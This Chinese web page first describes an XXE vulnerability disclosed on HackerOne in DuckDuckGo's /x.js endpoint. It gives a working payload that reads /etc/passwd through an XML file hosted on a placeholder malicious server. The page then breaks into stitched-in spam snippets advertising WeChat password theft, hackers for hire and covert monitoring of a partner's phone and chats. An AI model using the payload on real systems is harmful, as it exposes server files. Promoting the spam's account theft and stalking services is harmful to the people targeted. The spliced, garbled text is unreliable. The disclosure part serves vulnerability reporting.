近期,白帽汇安全研究院发现hackerone网站披露了DuckDuckGo搜索引擎的一个XXE漏洞。
DuckDuckGo是一个出现于2011年的互联网搜索引擎,其总部位于美国宾夕法尼亚州。和传统搜索引擎(谷歌,必应等)相比,DuckDuckGo着重保护用户的隐私,不监控、不记录用户的搜索内容,还会自动处理用户发出HTTP请求中的敏感信息(如Referer头),尽量减少第三方能获取的信息。
漏洞发现者在浏览测试https://duckduckgo.com网站时,发现在路径/x.js中的参数?u存在XXE注入。
只要输入一个远程的xm l资源http://malicious_server/xxe.xml,服务器就会解析并执行,并返回一个输出。
而且网站对xm l代码没有任何控制,所以攻击者可以引入一些恶意xm l代码,对服务器进行攻击。
具体步骤如下
1.攻击者在他所控制的服务器中放上一个恶意xml文件,并对公网开放,文件内容如下。
<?xm l version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><creds> <user>&xxe;</user> <pass>mypass</pass></creds>
2.直接访问链接https://duckduckgo.com/x.js?u=http://malicious_server/xxe.xml
3.返回的页面可以看到xm l文件解析结果
怎么盗别人微信密码(什么软件可以盗取微信号密码)微信出当今咱们的生存中,让人们的生存更有生气。当今,人们应用微信曾经不再是谈天辣么简略了。时时时地,人们也会经历微信抢红包。怎样窃取他人微信的暗号?网上...
一分钟盗微信号方法,盗微信聊天记录需要多少钱-免费接单黑客QQ 最近几年这人工AI都在不断的进步,从前几年击败了人类围棋高手的阿尔法狗到现如今层出不穷的机器人可谓是发展飞速了。 一分钟盗微信号方法...
黑客听起来是距离我们很远的,我们一般是接触不到的,就算他们攻击一些网站也不会轮到我们的,那在哪里可以找到他们呢?下面先看一个小故事。 哪里可以找到黑客接单? 17岁少年受雇佣编写黑客软件杨琛刚满2...
一、iCloud同步数据,设备数据丢失 有些用户会将iCloud和通讯录同步,然后通讯录又同步了QQ等工具,然后在使用过程中,无论从哪边删除了通讯录,剩下两方的通讯录也会丢失。...
监控男朋友的软件_监控男朋友手机 在家上网赚钱,已不再是什么新鲜事了。如果在五年前,甚至在十年前,你要说在家上网就能赚钱,别人肯定会以为你是疯子。之所以大家现在相信了,那是因为很多人在家上网发财的...
怎么同步老婆微信聊天记录不被发现(远程查看老婆微信聊天记录) 喜欢打麻将的人都知道,不少地方为了图个省事,把麻将原本有的风张给取消了。真的,可别小看这个不起眼的举动,他能让牌局变得简单许多,胡牌速度...